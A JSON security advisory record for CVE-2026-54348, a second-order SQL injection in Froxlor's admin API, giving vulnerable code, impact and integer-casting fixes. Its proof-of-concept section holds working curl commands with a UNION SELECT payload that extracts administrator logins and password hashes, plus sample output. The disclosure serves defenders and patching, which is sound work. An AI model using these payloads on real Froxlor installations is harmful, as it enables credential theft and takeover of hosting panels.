{"id":"CVE-2026-54348","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54348","summary":"Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration","details":"### Summary\n\nA second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.\n\n---\n\n### Details\n\nThe vulnerability spans two code locations that form a store-then-trigger chain.\n\n**Stage 1 — Unsanitized array stored as JSON** — `lib/Froxlor/Api/Commands/Admins.php:251,358`\n\n```php\n$ipaddress = $this->getParam('ipaddress', true, -1);\n// No type enforcement or content validation on $ipaddress.\n// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,\n// so any attacker-controlled array is JSON-encoded and stored verbatim.\n'ip' => empty($ipaddress) ? \"\" : (is_array($ipaddress) && $ipaddress > 0\n    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip\n    : -1),\n```\n\nThe INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.\n\n**Stage 2 — JSON payload imploded directly into SQL** — `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`\n\n```php\nif (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {\n    // json_decode restores the array; implode joins elements with no casting or escaping\n    $ip_where = \"WHERE `id` IN (\" . implode(\", \", json_decode($this->getUserDetail('ip'), true)) . \")\";\n}\n$result_stmt = Database::prepare(\n    \"SELECT * FROM `panel_ipsandports` \" . $ip_where . ...\n);\n// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)\n```\n\nThe same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.\n\nEvery other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.\n\n---\n\n### PoC\n<img width=\"2452\" height=\"1476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95\" />\n\n\n\n**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.\n\n**Step 1 — Poison: store the UNION SELECT payload via `Admins.add`**\n\n```bash\ncurl -s -u \"APIKEY:SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"command\": \"Admins.add\",\n    \"params\": {\n      \"name\": \"x\",\n      \"new_loginname\": \"eviladmin\",\n      \"email\": \"x@x.local\",\n      \"admin_password\": \"Passw0rd!123\",\n      \"ipaddress\": [\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n    }\n  }'\n```\n\nThe `ip` column of `panel_admins` for `eviladmin` now contains:\n```\n[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]\n```\n\n**Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account**\n\nNo interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:\n\n```\nhttp://TARGET/admin_index.php?page=ipsandports\n```\n\nOr directly via API:\n\n```bash\ncurl -s -u \"EVIL_APIKEY:EVIL_SECRET\" http://TARGET/api.php \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"command\":\"IpsAndPorts.listing\"}'\n```\n\n**Confirmed output from live instance (`localhost:8290`):**\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      {\n        \"ip\": \"admin\",\n        \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\"\n      },\n      {\n        \"ip\": \"eviladmin\",\n        \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\"\n      }\n    ]\n  }\n}\n```\n\nThe `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.\n\n**Minimum reproduction — two CMD single-line commands:**\n\nStep 1: poison (run once with any admin API key that has `change_serversettings=1`):\n\n```cmd\ncurl -su \"APIKEY:SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"Admins.add\\\",\\\"params\\\":{\\\"name\\\":\\\"x\\\",\\\"new_loginname\\\":\\\"poc\\\",\\\"email\\\":\\\"x@x.local\\\",\\\"admin_password\\\":\\\"Passw0rd!1\\\",\\\"ipaddress\\\":[\\\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\\\"]}}\"\n```\n\nStep 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):\n\n```cmd\ncurl -su \"POC_APIKEY:POC_SECRET\" http://TARGET/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n**Confirmed output from live instance (`localhost:8290`) — step 2 alone:**\n\n```cmd\ncurl -su \"evil_key_abc123:evil_secret_xyz456\" http://localhost:8290/api.php -H \"Content-Type:application/json\" -d \"{\\\"command\\\":\\\"IpsAndPorts.listing\\\"}\"\n```\n\n```json\n{\n  \"data\": {\n    \"list\": [\n      { \"ip\": \"admin\",     \"port\": \"$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu\" },\n      { \"ip\": \"eviladmin\", \"port\": \"$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S\" }\n    ]\n  }\n}\n```\n\n---\n\n### Impact\n\n**Type:** Second-Order SQL Injection (UNION-based)\n\n**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.\n\nConsequences:\n\n- **Full credential dump** — all admin and customer login names and bcrypt password hashes are extractable in a single request.\n- **Lateral movement** — cracked hashes allow login to other admin accounts or customer accounts.\n- **Data exfiltration** — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.\n- **Privilege escalation** — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.\n\n---\n\n### Fix\n\n**Option A (recommended) — Integer-cast all elements before implode:**\n\n```php\n// lib/Froxlor/Api/Commands/IpsAndPorts.php:72\n$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));\n$ip_where = \"WHERE `id` IN (\" . implode(\", \", $ip_ids) . \")\";\n```\n\n**Option B — Validate at storage time in `Admins.add` / `Admins.update`:**\n\n```php\n// lib/Froxlor/Api/Commands/Admins.php\nif (is_array($ipaddress)) {\n    $ipaddress = array_filter($ipaddress, 'is_numeric');\n}\n'ip' => empty($ipaddress) ? \"\" : (is_array($ipaddress) && count($ipaddress) > 0\n    ? json_encode(array_map('intval', $ipaddress))\n    : -1),\n```\n\nApply the same fix to the identical pattern in `Domains.php:1016`.\n\n---","published":"2026-08-18T20:47:59Z","modified":"2026-08-18T21:00:07.821238428Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"froxlor/froxlor","fixedVersion":"2.3.8"}],"fix":{"url":"https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e","label":"froxlor/froxlor@a1eaca5"},"references":[{"type":"WEB","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-w27m-rmmf-g5w4"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/commit/a1eaca5a1601c8a30e00814a4fc73ad0c185f89e"},{"type":"PACKAGE","url":"https://github.com/froxlor/froxlor"},{"type":"WEB","url":"https://github.com/froxlor/froxlor/releases/tag/2.3.8"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T21:00:07.821238428Z"}}